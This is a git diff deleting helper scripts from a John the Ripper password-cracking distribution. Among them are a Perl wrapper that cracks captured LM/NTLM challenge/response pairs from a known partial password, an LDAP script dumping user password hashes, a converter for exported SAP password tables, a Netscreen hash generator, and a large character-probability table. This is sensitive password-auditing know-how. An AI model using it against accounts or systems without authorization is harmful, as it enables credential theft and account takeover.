cracking a LM/NTLM -# challenge/response set, when part of the password is known. It -# was written with John's NetLM/NetNTLM formats and "halflmchall" -# Rainbow Tables in mind. -# -# Example Scenario: -# Let's assume you've captured LM/NTLM challenge/response set for -# the password Cricket88!. You may be able to crack the first part -# (i.e. CRICKET) using "Half LM" Rainbow Tables. This script will -# use that value as a seed and attempt to crack the second part -# (i.e. "88!") via an incremental brute. It'll then use the NetNTLM -# response hash to crack the case-sensitive version of the entire -# password. -# -##################################################################### - -use Getopt::Long; - -my $VERSION = "0.2"; -my %opt; -my %data; - -my $JOHN = "john"; - -GetOptions ( - 'seed=s' => \$opt{'seed'}, - 'file=s' => \$opt{'file'}, - 'help|h' => sub { ShowUsage(); }, -); - -sub showUsage { - print "john-netntlm.pl v$VERSION\n\n"; - print "JoMo-Kun \n\n"; - print "Usage: $0 [OPTIONS]\n"; - print " $0\n"; - print " --seed [RainbowCrack/HalfLM Response Password]\n"; - print " --file [File Containing LM/NTLM challenge/responses (.lc format)]\n"; - print " Ex: Domain\\User:::LM response:NTLM response:challenge"; - print "\n"; - print " Ex:\n"; - print " $0 --file capture.lc\n"; - print " $0 --seed \"GERGE!!\"--file capture.lc\n"; - print "\n"; - exit(1); -} - -# Main -{ - if ( !defined($opt{'file'}) ) { &showUsage; } - - # Parse accounts to audit - open(HAND, $opt{'file'}) || die("Failed to open response file: $opt{'file'} -- $!"); - @{ $data{'pairs'} } = ; - close(HAND); - - # Load information for any accounts previous cracked - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - - open (HAND, "$JOHN -format:netlm -show $opt{'file'} |") || die("Failed to execute john: $!"); - print STDERR "The following LM responses have been previously cracked:\n"; - while() { - next if ( /\d+ password hashes cracked, \d+ left/ ); - last if /^$/; - print "\t$_"; - push @{ $data{'cracked-lm'} }, $_; - } - close(HAND); - - print STDERR "\nThe following NTLM responses have been previously cracked:\n"; - open (HAND, "$JOHN -format:netntlm -show $opt{'file'} |") || die("Failed to execute john: $!"); - while() { - next if ( /\d+ password hashes cracked, \d+ left/ ); - last if /^$/; - print "\t$_"; - push @{ $data{'cracked-ntlm'} }, $_; - } - close(HAND); - - mkdir("/tmp/john.$$") || die; - my $tmpconf = &createConf(); - my $tmpsession = "/tmp/john.$$/john.session"; - my $tmpsessionlog = "/tmp/john.$$/john.session.log"; - my $tmplog = "/tmp/john.$$/john.log"; - #print STDERR "Created temporary configuration file: $tmpconf\n"; - - # Crack case-sensitive version of password - my $tmpdict = "/tmp/john.$$/john.dict"; - #print STDERR "Created temporary dictionary file: $tmpdict\n"; - - foreach $credential_set ( @{ $data{'cracked-lm'} } ) { - my ($account,$lmpass,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set); - next if ( grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) ); - - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "Performing NTLM case-sensitive crack for account: $account.\n"; - - open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!"); - print HAND "$lmpass"; - close(HAND); - - open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -user:\"$account\" -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!"); - while() { print; } - close(HAND); - - unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!"); - } - - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "Isolating accounts which have only had their LM response cracked.\n"; - - foreach $credential_set ( @{ $data{'pairs'} } ) { - $credential_set =~ s/\\/\\\\/g; - my ($account,$foo,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set); - if (lc($netlm) eq lc($netntlm)) { - print STDERR "LM response is not unique from NTLM response (skipping):\n\t$credential_set\n"; - push @{ $data{'pairs-ntlm'} }, $credential_set; - } - elsif ( @cracked = grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) ) { - print STDERR "Account $account NTLM response previously cracked.\n"; - #print "@cracked"; - } - else { - print STDERR "Account $account LM response added to cracking list.\n"; - push @{ $data{'pairs-lm'} }, $credential_set; - } - } - - if ( defined($opt{'seed'}) ) { - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "Testing seed password to determine whether it is the actual password.\n"; - open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!"); - print HAND $opt{'seed'}; - close(HAND); - - open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!"); - while() { - print; - next if (/^guesses: .*time: / || (/^Loaded .* password hash /) || (/^No password hashes loaded/)); - my ($account) = $_ =~ / \((.*)\)$/; - - # Remove accounts which just cracked from list - my $i = 0; - foreach $credential_set ( @{ $data{'pairs-lm'} } ) { - $account =~ s/\\/_/g; - $credential_set =~ s/\\\\/_/g; - if ( $credential_set =~ /^$account:/ ) { - splice(@{ $data{'pairs-lm'} }, $i, 1); - } - $i++; - } - } - close(HAND); - unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!"); - - my $tmppasswd = "/tmp/john.$$/john.passwd"; - open(HAND, ">$tmppasswd") || die("Failed to open $tmppasswd: $!"); - print HAND @{ $data{'pairs-lm'} }; - close(HAND); - - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "The hashes contained within $tmppasswd have not been cracked.\n"; - print STDERR "Executing the following (this could take a while...):\n\n"; - print STDERR "john -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd\n"; - print STDERR "\n"; - print STDERR " *If the passwords successfully crack, use this script again to crack the case-sensitive password\n"; - print STDERR " without feeding a seed password\n"; - print STDERR"\n\n"; - - system("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd"); - #exec("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd"); - - unlink $tmppasswd || warn("Failed to unlink $tmppasswd -- $!"); - } - else { - print STDERR "\nNo seed supplied for testing.\n"; - } - - #print STDERR "Removing temporary files and directory\n"; - unlink $tmpconf, $tmplog, $tmpsession, $tmpsessionlog || warn("Failed to unlink temporary config files -- $!"); - rmdir("/tmp/john.$$") || warn("Failed to delete temporary john directory -- $!"); -} - -exit(0); - -sub createConf { - my $tmpconf = "/tmp/john.$$/john.conf"; - open(CONF, ">$tmpconf") || die("Failed to open $tmpconf: $!"); - - # Define character keyspace - print CONF "[Incremental:LM]\n"; - print CONF "File = \$JOHN/lanman.chr\n"; - print CONF "MinLen = 1\n"; - - # John compiled for MaxLen <= 8 - if (14 - length($opt{'seed'}) > 8) { - print CONF "MaxLen = 8\n"; - } else { - print CONF "MaxLen = ", 14 - length($opt{'seed'}), "\n"; - } - print CONF "CharCount = 69\n\n"; - - # Add external filter to handle uncracked characters - if ($opt{'seed'} ne "") { - my $i; $j; - my @seed = split(//, $opt{'seed'}); - - print CONF "[List.External:HalfLM]\n"; - print CONF "void init()\n"; - print CONF "{\n"; - print CONF " word[14] = 0;\n"; - print CONF "}\n\n"; - - print CONF "void filter()\n"; - print CONF "{\n"; - - my $len = length($opt{'seed'}); - for ($i = 13, $j = 13 - $len; $i>=0; $i--) { - if ($i >= $len) { - print CONF " word[$i] = word[$j];\n"; - $j--; - } else { - print CONF " word[$i] = \'$seed[$i]\';\n"; - } - } - - print CONF "}\n\n"; - } - - # Add custom wordlist to utilize NTLM hash for character case cracking - print CONF "[List.Rules:Wordlist]\n"; - print CONF ":\n"; - print CONF "-c T0Q\n"; - print CONF "-c T1QT[z0]\n"; - print CONF "-c T2QT[z0]T[z1]\n"; - print CONF "-c T3QT[z0]T[z1]T[z2]\n"; - print CONF "-c T4QT[z0]T[z1]T[z2]T[z3]\n"; - print CONF "-c T5QT[z0]T[z1]T[z2]T[z3]T[z4]\n"; - print CONF "-c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]\n"; - print CONF "-c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]\n"; - print CONF "-c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]\n"; - print CONF "-c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]\n"; - print CONF "-c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]\n"; - print CONF "-c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]\n"; - print CONF "-c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]\n"; - print CONF "-c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC]\n"; - - close(CONF); - - return $tmpconf; -} diff --git a/data/john/run.linux.x64.mmx/netscreen.py b/data/john/run.linux.x64.mmx/netscreen.py deleted file mode 100644 index 5cc52b85bd..0000000000 --- a/data/john/run.linux.x64.mmx/netscreen.py +++ /dev/null @@ -1,132 +0,0 @@ -################################################################## -# Filename: netscreen.py -# -# Please note this script will now run in Python version 3.x -# -# This script will generate a netscreen formatted password -# -# This program requires two command line arguments, and works in two modes: -# Mode 1: -# The first argument is a username -# The second argument is a plaintext password -# Mode 2: -# The first argument is -f to indicate reading usernames and passwords from a file -# The second argument is the filename to read -# -# The input file should have one of the following formats (a "," or ":" separator): -# , -# or -# : -# -# (Don't put a "space" after the separator, unless it is part of the password) -# -# Example input file: -# admin,netscreen -# cisco:cisco -# robert,harris -# -# Output will be the username and hashed password in John the Ripper format -# If reading usernames and passwords from a file, the output file name will be: netscreen-JtR-output.txt -# If the file netscreen-JtR-output.txt exists, it will be overwritten. -# -# Version 2.04 -# Updated on September 13, 2010 by Robert B. Harris from VA and Brad Tilley -# Updated to now run in Python v3.x (still works in Python 2.x) -# Additional separator for the input file. It can now have the new separator ":" (or use the old one ",") -# Now correctly handles a separator ("," or ":") in the password field when reading from a file. -# Updated help text in script -# -# Version 2.01 -# Updated on August 30, 2010 by Robert B. Harris from VA -# Very minor changes, removed tab, noted it won't run in python 3.x -# -# Version 2.0 -# Updated on August 12, 2010 by Robert B. Harris from VA -# Updated to use the hashlib library -# Updated to print help text if both input arguments are missing -# Updated to optionally read from a file -# -################################################################## - -import sys - -def net(user, password): - b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - middle = "Administration Tools" - s = "%s:%s:%s" % (user, middle, password) - - # For versions of Python 2.5 and older - if sys.version_info[0] == 2 and sys.version_info[1] < 6: - import md5 - m = md5.new(s).digest() - else: - import hashlib - m = hashlib.md5(s.encode('latin_1')).digest() - - narray = [] - for i in range(8): - if sys.version_info[0] == 2: - n1 = ord(m[2*i]) - n2 = ord(m[2*i+1]) - narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) ) - - if sys.version_info[0] == 3: - n1 = ord(chr(m[2*i])) - n2 = ord(chr(m[2*i+1])) - narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) ) - res = "" - for i in narray: - p1 = i >> 12 & 0xf - p2 = i >> 6 & 0x3f - p3 = i & 0x3f - res = res + b64[p1] + b64[p2] + b64[p3] - - for c, n in zip("nrcstn", [0, 6, 12, 17, 23, 29]): - res = res[:n] + c + res[n:] - return res - - -if __name__ == '__main__': - if len(sys.argv) == 3: - if (sys.argv[1])== "-f": # If true, reading from a file - in_file = (sys.argv[2]) # 2nd commandline arg is the filename to read from - input_file = open( in_file, 'r') - output_file = open ("netscreen-JtR-output.txt" , 'w') - import re - for line in input_file: - data=line.strip('\n') - if re.search(',',line): - data=data.split(',',1) # line contains , - else: - if re.search(':',line): - data=data.split(':',1) # line contains : - else: - print ("\n\n\n") - print ("Error in input file.") - print ("The input file must have either a \",\" or \":\" separator on each line.") - print ("Also it should not contain any blank lines. Please correct the input file.") - break - username = data[0] - password = data[1] - ciphertext = net(username,password) - output_file.write ("%s:%s$%s" % (username,username,ciphertext)) - output_file.write ("\n") - input_file.close() - print("\nThe output file has been created.") - output_file.close() - else: # We are not reading from a file - username = sys.argv[1] - password = sys.argv[2] - ciphertext = net(username,password) - print(("%s:%s$%s" % (username,username,ciphertext))) - else: # User did not input the required two commandline arguments - print("\n\n") - print("This program requires two commandline arguments:") - print("The first argument is a username, or -f to indicate reading from a file.") - print("The second argument is a plaintext password, or the name of the file to read from.") - print("See the additional text at the beginning of this script for more details.\n") - print("Output will be the username and the (Netscreen algorithm based) hashed password, in John the Ripper format. \n\n") - print("Example") - print("Input: netscreen.py admin netscreen") - print("Output: admin:admin$nKv3LvrdAVtOcE5EcsGIpYBtniNbUn") - print("(Netscreen uses the username as the salt)") diff --git a/data/john/run.linux.x64.mmx/pdf2john b/data/john/run.linux.x64.mmx/pdf2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/pdf2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/rar2john b/data/john/run.linux.x64.mmx/rar2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/rar2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/sap_prepare.pl b/data/john/run.linux.x64.mmx/sap_prepare.pl deleted file mode 100644 index a3531a7ee0..0000000000 --- a/data/john/run.linux.x64.mmx/sap_prepare.pl +++ /dev/null @@ -1,89 +0,0 @@ -#!/usr/bin/perl -w -# Usage: sap_prepare.pl csv-input sap-codeB-output sap-codevnG-output -# csv-input: XLS-exported table USH02 or USR02 -# tab-speparted e.g. column 4:username column 17:bcode column 24:codvn G -# sap-codeB-output: username:username$bcode -# sap-codevnG-output: username:Username$codvnG -# -# (all other formats with the right column names should work) -# sap uses the username as salt. those have different length, so we needed to come up w/ our -# own format. that is: username$HASHCODE -# -# evil spaghetti code, but works. sorry for the eye cancer ;-) - -$SALT_LENGTH = 40; - -if ($#ARGV != 2) { - die ("usage = $0 csv-input sap-codeB-output sap-codevnG-output \n"); -} - -open INPUT_FILE, "$ARGV[0]" or die ("Can't open input-file ($ARGV[0])\n"); -open CODEB_FILE,">>$ARGV[1]" or die ("Can't open codeb-file ($ARGV[1])\n"); -open CODEG_FILE,">>$ARGV[2]" or die ("Can't open codeg-file ($ARGV[2])\n"); - -print "data from >>$ARGV[0]<<\nto sap-codeB-output: >>$ARGV[1]<<\n"; -print "and sap-codevnG-output: >>$ARGV[2]<<\n\n"; - -$line = ""; -$pos_bname=-1; -$pos_codeb=-1; -$pos_codeg=-1; -$count=0; - -until ($line =~ /BNAME/) { - $line=; - $count++; -} - -chomp($line); -@tmp = split(/\t/, $line); - -for ($i=0;$i<=$#tmp;$i++) { - if ($tmp[$i]=~ /BNAME/) { $pos_bname=$i } - elsif ($tmp[$i]=~ /BCODE/) { $pos_codeb=$i } - elsif ($tmp[$i]=~ /PASSCODE/) { $pos_codeg=$i } -} -print "Column: $#tmp BNAME: $pos_bname BCODE: $pos_codeb PASSCODE: $pos_codeg\n"; - -if (-1==$pos_bname || (-1==$pos_codeg && -1==$pos_codeb ) ) { - print "BNAME column not found OR both hash-columns are missing \n"; - exit 0; -} - -while ($line=) { - $count++; - chomp($line); - @tmp = split(/\t/, $line); - if ($#tmp<$pos_bname || ($#tmp<$pos_codeb && $#tmp<$pos_codeg)) { - print "******** line $count in csv file has the wrong format ********\n"; - next; - } - if ($pos_codeg!=-1 && $tmp[$pos_codeg]=~/[a-zA-Z0-9]/) { # both hashes - print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] codeG: $tmp[$pos_codeg] \n"; - $strN = $tmp[$pos_bname]; - $strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname])); - $strB = "$tmp[$pos_codeb]"; - $strG = "$tmp[$pos_codeg]"; - print CODEB_FILE "$strN:$strSALT\$$strB\n"; - print CODEG_FILE "$strN:$strSALT\$$strG\n"; - } - elsif ($pos_codeb!=-1 && $tmp[$pos_codeb]=~/[a-zA-Z0-9]/ ) { # only bcode - print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] \n"; - $strN = $tmp[$pos_bname]; - $strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname])); - $strB = "$tmp[$pos_codeb]"; - print CODEB_FILE "$strN:$strSALT\$$strB\n"; - } - else { - print "******** line $count in csv file has the wrong format ********\n"; - } -} - -close INPUT_FILE; -close CODEB_FILE; -close CODEG_FILE; - -print "\nDone!\n"; -exit 0; - - diff --git a/data/john/run.linux.x64.mmx/sha-dump.pl b/data/john/run.linux.x64.mmx/sha-dump.pl deleted file mode 100644 index 8186463936..0000000000 --- a/data/john/run.linux.x64.mmx/sha-dump.pl +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/perl - -use Net::LDAP; - -$server = $ARGV[0]; -$password = $ARGV[1]; - -$ldap = Net::LDAP->new($server) || die "$@"; -$ldap->bind("cn=Directory Manager", password => $password) || die "$@"; -$search = $ldap->search(base => "o=test", - scope => "subtree", - filter => "(uid=*)"); - -$search->code && die $search->error; - -$i=0; -foreach $user ($search->all_entries) { - @uid=$user->get("uid"); - @pass=$user->get("userpassword"); - print $uid[0].":".$pass[0].":". - $i.":".$i.":/".$uid[0].":\n"; -} -$ldap->unbind(); diff --git a/data/john/run.linux.x64.mmx/sha-test.pl b/data/john/run.linux.x64.mmx/sha-test.pl deleted file mode 100644 index be51f1d6de..0000000000 --- a/data/john/run.linux.x64.mmx/sha-test.pl +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/perl -# http://www.perl.com/CPAN-local/modules/by-module/MIME/MIME-Base64-2.06.tar.gz -# http://www.perl.com/CPAN-local/modules/by-module/SHA/SHA-1.2.tar.gz - -use MIME::Base64; -use SHA; -if ("SHA-1" ne &SHA::sha_version) { die "wrong SHA version\n"; } -$sha = new SHA; - -$label = "{SHA}"; -$count = 1; -while(<>) { - chomp; - $hash = $sha->hash ($_); - printf ("%s:%s%s:%d:%d:%s:/home/%s/:\n", - $_, $label, encode_base64 ($hash . $salt, ""), $count, $count, - $_, $_); - $count++; -} diff --git a/data/john/run.linux.x64.mmx/ssh2john b/data/john/run.linux.x64.mmx/ssh2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/ssh2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/stats b/data/john/run.linux.x64.mmx/stats deleted file mode 100644 index 170627ec85..0000000000 --- a/data/john/run.linux.x64.mmx/stats +++ /dev/null @@ -1,4986 +0,0 @@ -97=proba1[32] -51=proba2[32*256+35] -44=proba2[32*256+38] -51=proba2[32*256+39] -40=proba2[32*256+48] -35=proba2[32*256+49] -37=proba2[32*256+50] -51=proba2[32*256+51] -44=proba2[32*256+52] -44=proba2[32*256+53] -33=proba2[32*256+54] -44=proba2[32*256+55] -44=proba2[32*256+56] -44=proba2[32*256+57] -44=proba2[32*256+66] -44=proba2[32*256+67] -51=proba2[32*256+68] -44=proba2[32*256+69] -40=proba2[32*256+71] -51=proba2[32*256+73] -44=proba2[32*256+77] -44=proba2[32*256+78] -40=proba2[32*256+80] -51=proba2[32*256+82] -44=proba2[32*256+84] -51=proba2[32*256+86] -51=proba2[32*256+87] -33=proba2[32*256+97] -33=proba2[32*256+98] -25=proba2[32*256+99] -32=proba2[32*256+100] -37=proba2[32*256+101] -44=proba2[32*256+102] -37=proba2[32*256+103] -37=proba2[32*256+104] -40=proba2[32*256+105] -40=proba2[32*256+106] -51=proba2[32*256+107] -32=proba2[32*256+108] -24=proba2[32*256+109] -37=proba2[32*256+110] -37=proba2[32*256+111] -27=proba2[32*256+112] -51=proba2[32*256+113] -35=proba2[32*256+114] -32=proba2[32*256+115] -33=proba2[32*256+116] -40=proba2[32*256+117] -51=proba2[32*256+118] -44=proba2[32*256+121] -51=proba2[32*256+122] -80=proba1[33] -15=proba2[33*256+33] -51=proba2[33*256+34] -51=proba2[33*256+35] -51=proba2[33*256+40] -51=proba2[33*256+41] -51=proba2[33*256+42] -51=proba2[33*256+43] -51=proba2[33*256+48] -31=proba2[33*256+49] -37=proba2[33*256+50] -37=proba2[33*256+51] -51=proba2[33*256+52] -51=proba2[33*256+54] -35=proba2[33*256+55] -51=proba2[33*256+56] -44=proba2[33*256+57] -51=proba2[33*256+59] -51=proba2[33*256+61] -37=proba2[33*256+63] -51=proba2[33*256+64] -40=proba2[33*256+70] -51=proba2[33*256+71] -51=proba2[33*256+76] -37=proba2[33*256+78] -51=proba2[33*256+80] -51=proba2[33*256+83] -51=proba2[33*256+84] -51=proba2[33*256+87] -51=proba2[33*256+95] -40=proba2[33*256+97] -37=proba2[33*256+98] -37=proba2[33*256+99] -44=proba2[33*256+100] -37=proba2[33*256+101] -40=proba2[33*256+102] -40=proba2[33*256+103] -44=proba2[33*256+105] -44=proba2[33*256+106] -51=proba2[33*256+107] -33=proba2[33*256+108] -37=proba2[33*256+109] -35=proba2[33*256+110] -35=proba2[33*256+111] -37=proba2[33*256+112] -51=proba2[33*256+113] -31=proba2[33*256+114] -31=proba2[33*256+115] -31=proba2[33*256+116] -51=proba2[33*256+119] -51=proba2[33*256+120] -51=proba2[33*256+121] -44=proba2[33*256+122] -118=proba1[34] -17=proba2[34*256+38] -23=proba2[34*256+39] -23=proba2[34*256+40] -23=proba2[34*256+48] -23=proba2[34*256+54] -23=proba2[34*256+97] -23=proba2[34*256+99] -23=proba2[34*256+100] -23=proba2[34*256+101] -23=proba2[34*256+119] -86=proba1[35] -42=proba2[35*256+33] -26=proba2[35*256+35] -42=proba2[35*256+36] -35=proba2[35*256+38] -42=proba2[35*256+48] -24=proba2[35*256+49] -35=proba2[35*256+50] -26=proba2[35*256+51] -42=proba2[35*256+52] -42=proba2[35*256+53] -35=proba2[35*256+54] -35=proba2[35*256+55] -24=proba2[35*256+57] -42=proba2[35*256+63] -35=proba2[35*256+65] -42=proba2[35*256+83] -42=proba2[35*256+87] -28=proba2[35*256+97] -35=proba2[35*256+98] -42=proba2[35*256+99] -42=proba2[35*256+100] -42=proba2[35*256+102] -35=proba2[35*256+105] -35=proba2[35*256+106] -31=proba2[35*256+109] -31=proba2[35*256+110] -42=proba2[35*256+111] -42=proba2[35*256+112] -31=proba2[35*256+114] -42=proba2[35*256+115] -42=proba2[35*256+116] -42=proba2[35*256+118] -42=proba2[35*256+119] -42=proba2[35*256+121] -42=proba2[35*256+123] -82=proba1[36] -45=proba2[36*256+33] -45=proba2[36*256+35] -26=proba2[36*256+36] -45=proba2[36*256+37] -45=proba2[36*256+41] -34=proba2[36*256+42] -45=proba2[36*256+43] -39=proba2[36*256+48] -39=proba2[36*256+49] -34=proba2[36*256+50] -39=proba2[36*256+54] -45=proba2[36*256+55] -34=proba2[36*256+56] -34=proba2[36*256+57] -45=proba2[36*256+61] -45=proba2[36*256+65] -45=proba2[36*256+66] -45=proba2[36*256+67] -45=proba2[36*256+69] -45=proba2[36*256+84] -45=proba2[36*256+90] -45=proba2[36*256+94] -34=proba2[36*256+97] -39=proba2[36*256+98] -45=proba2[36*256+99] -32=proba2[36*256+100] -34=proba2[36*256+101] -32=proba2[36*256+102] -39=proba2[36*256+103] -39=proba2[36*256+104] -39=proba2[36*256+106] -39=proba2[36*256+107] -32=proba2[36*256+108] -29=proba2[36*256+109] -39=proba2[36*256+110] -45=proba2[36*256+111] -29=proba2[36*256+112] -45=proba2[36*256+114] -32=proba2[36*256+115] -29=proba2[36*256+116] -45=proba2[36*256+117] -39=proba2[36*256+118] -45=proba2[36*256+119] -45=proba2[36*256+120] -45=proba2[36*256+121] -39=proba2[36*256+122] -97=proba1[37] -32=proba2[37*256+35] -25=proba2[37*256+36] -32=proba2[37*256+38] -32=proba2[37*256+42] -32=proba2[37*256+43] -32=proba2[37*256+44] -32=proba2[37*256+49] -32=proba2[37*256+52] -32=proba2[37*256+71] -32=proba2[37*256+78] -18=proba2[37*256+97] -32=proba2[37*256+98] -32=proba2[37*256+99] -32=proba2[37*256+100] -32=proba2[37*256+109] -32=proba2[37*256+112] -18=proba2[37*256+115] -32=proba2[37*256+117] -86=proba1[38] -47=proba2[38*256+32] -47=proba2[38*256+34] -33=proba2[38*256+38] -40=proba2[38*256+39] -47=proba2[38*256+40] -40=proba2[38*256+43] -47=proba2[38*256+44] -40=proba2[38*256+45] -36=proba2[38*256+49] -47=proba2[38*256+50] -47=proba2[38*256+51] -47=proba2[38*256+52] -47=proba2[38*256+54] -40=proba2[38*256+55] -40=proba2[38*256+57] -47=proba2[38*256+66] -47=proba2[38*256+67] -47=proba2[38*256+69] -40=proba2[38*256+70] -47=proba2[38*256+71] -36=proba2[38*256+74] -47=proba2[38*256+77] -40=proba2[38*256+83] -40=proba2[38*256+87] -47=proba2[38*256+89] -29=proba2[38*256+97] -36=proba2[38*256+98] -22=proba2[38*256+99] -36=proba2[38*256+100] -31=proba2[38*256+101] -40=proba2[38*256+102] -36=proba2[38*256+103] -47=proba2[38*256+105] -40=proba2[38*256+106] -40=proba2[38*256+107] -29=proba2[38*256+108] -29=proba2[38*256+109] -36=proba2[38*256+110] -33=proba2[38*256+111] -36=proba2[38*256+112] -31=proba2[38*256+114] -36=proba2[38*256+115] -47=proba2[38*256+116] -47=proba2[38*256+117] -40=proba2[38*256+118] -40=proba2[38*256+119] -47=proba2[38*256+121] -47=proba2[38*256+122] -47=proba2[38*256+123] -118=proba1[39] -30=proba2[39*256+38] -30=proba2[39*256+39] -37=proba2[39*256+40] -37=proba2[39*256+44] -37=proba2[39*256+51] -37=proba2[39*256+52] -37=proba2[39*256+57] -30=proba2[39*256+83] -37=proba2[39*256+95] -18=proba2[39*256+97] -30=proba2[39*256+98] -26=proba2[39*256+99] -23=proba2[39*256+101] -37=proba2[39*256+103] -30=proba2[39*256+111] -26=proba2[39*256+114] -17=proba2[39*256+115] -37=proba2[39*256+119] -37=proba2[39*256+122] -91=proba1[40] -36=proba2[40*256+36] -36=proba2[40*256+37] -36=proba2[40*256+40] -25=proba2[40*256+41] -29=proba2[40*256+42] -22=proba2[40*256+45] -36=proba2[40*256+49] -36=proba2[40*256+54] -36=proba2[40*256+69] -36=proba2[40*256+94] -29=proba2[40*256+95] -29=proba2[40*256+97] -36=proba2[40*256+99] -36=proba2[40*256+100] -29=proba2[40*256+103] -29=proba2[40*256+105] -29=proba2[40*256+110] -36=proba2[40*256+112] -36=proba2[40*256+114] -29=proba2[40*256+115] -29=proba2[40*256+116] -36=proba2[40*256+118] -36=proba2[40*256+121] -36=proba2[40*256+124] -118=proba1[41] -13=proba2[41*256+40] -27=proba2[41*256+41] -27=proba2[41*256+54] -27=proba2[41*256+61] -27=proba2[41*256+103] -27=proba2[41*256+107] -27=proba2[41*256+108] -20=proba2[41*256+111] -20=proba2[41*256+112] -27=proba2[41*256+114] -78=proba1[42] -44=proba2[42*256+36] -44=proba2[42*256+38] -51=proba2[42*256+40] -51=proba2[42*256+41] -15=proba2[42*256+42] -51=proba2[42*256+44] -44=proba2[42*256+45] -44=proba2[42*256+46] -44=proba2[42*256+48] -33=proba2[42*256+49] -40=proba2[42*256+50] -34=proba2[42*256+51] -40=proba2[42*256+52] -37=proba2[42*256+54] -37=proba2[42*256+55] -51=proba2[42*256+56] -34=proba2[42*256+57] -51=proba2[42*256+59] -51=proba2[42*256+61] -51=proba2[42*256+63] -51=proba2[42*256+64] -51=proba2[42*256+65] -44=proba2[42*256+66] -51=proba2[42*256+67] -44=proba2[42*256+68] -51=proba2[42*256+69] -51=proba2[42*256+73] -51=proba2[42*256+77] -51=proba2[42*256+78] -51=proba2[42*256+80] -51=proba2[42*256+82] -51=proba2[42*256+95] -28=proba2[42*256+97] -40=proba2[42*256+98] -31=proba2[42*256+99] -40=proba2[42*256+100] -51=proba2[42*256+101] -51=proba2[42*256+102] -37=proba2[42*256+103] -37=proba2[42*256+105] -44=proba2[42*256+106] -37=proba2[42*256+108] -33=proba2[42*256+109] -44=proba2[42*256+110] -51=proba2[42*256+111] -37=proba2[42*256+112] -44=proba2[42*256+113] -51=proba2[42*256+114] -33=proba2[42*256+115] -51=proba2[42*256+116] -51=proba2[42*256+117] -37=proba2[42*256+118] -51=proba2[42*256+119] -51=proba2[42*256+120] -51=proba2[42*256+122] -96=proba1[43] -38=proba2[43*256+38] -19=proba2[43*256+43] -31=proba2[43*256+45] -29=proba2[43*256+49] -38=proba2[43*256+50] -45=proba2[43*256+51] -45=proba2[43*256+52] -31=proba2[43*256+53] -29=proba2[43*256+54] -34=proba2[43*256+55] -38=proba2[43*256+61] -45=proba2[43*256+66] -38=proba2[43*256+67] -45=proba2[43*256+72] -38=proba2[43*256+74] -38=proba2[43*256+75] -45=proba2[43*256+76] -45=proba2[43*256+80] -45=proba2[43*256+85] -45=proba2[43*256+89] -38=proba2[43*256+97] -29=proba2[43*256+98] -38=proba2[43*256+99] -45=proba2[43*256+101] -38=proba2[43*256+102] -45=proba2[43*256+103] -45=proba2[43*256+104] -45=proba2[43*256+105] -45=proba2[43*256+106] -45=proba2[43*256+107] -29=proba2[43*256+108] -38=proba2[43*256+109] -45=proba2[43*256+110] -38=proba2[43*256+111] -45=proba2[43*256+112] -38=proba2[43*256+113] -45=proba2[43*256+115] -31=proba2[43*256+116] -38=proba2[43*256+119] -38=proba2[43*256+120] -96=proba1[44] -24=proba2[44*256+44] -28=proba2[44*256+46] -44=proba2[44*256+48] -28=proba2[44*256+49] -33=proba2[44*256+50] -37=proba2[44*256+51] -33=proba2[44*256+55] -33=proba2[44*256+56] -37=proba2[44*256+57] 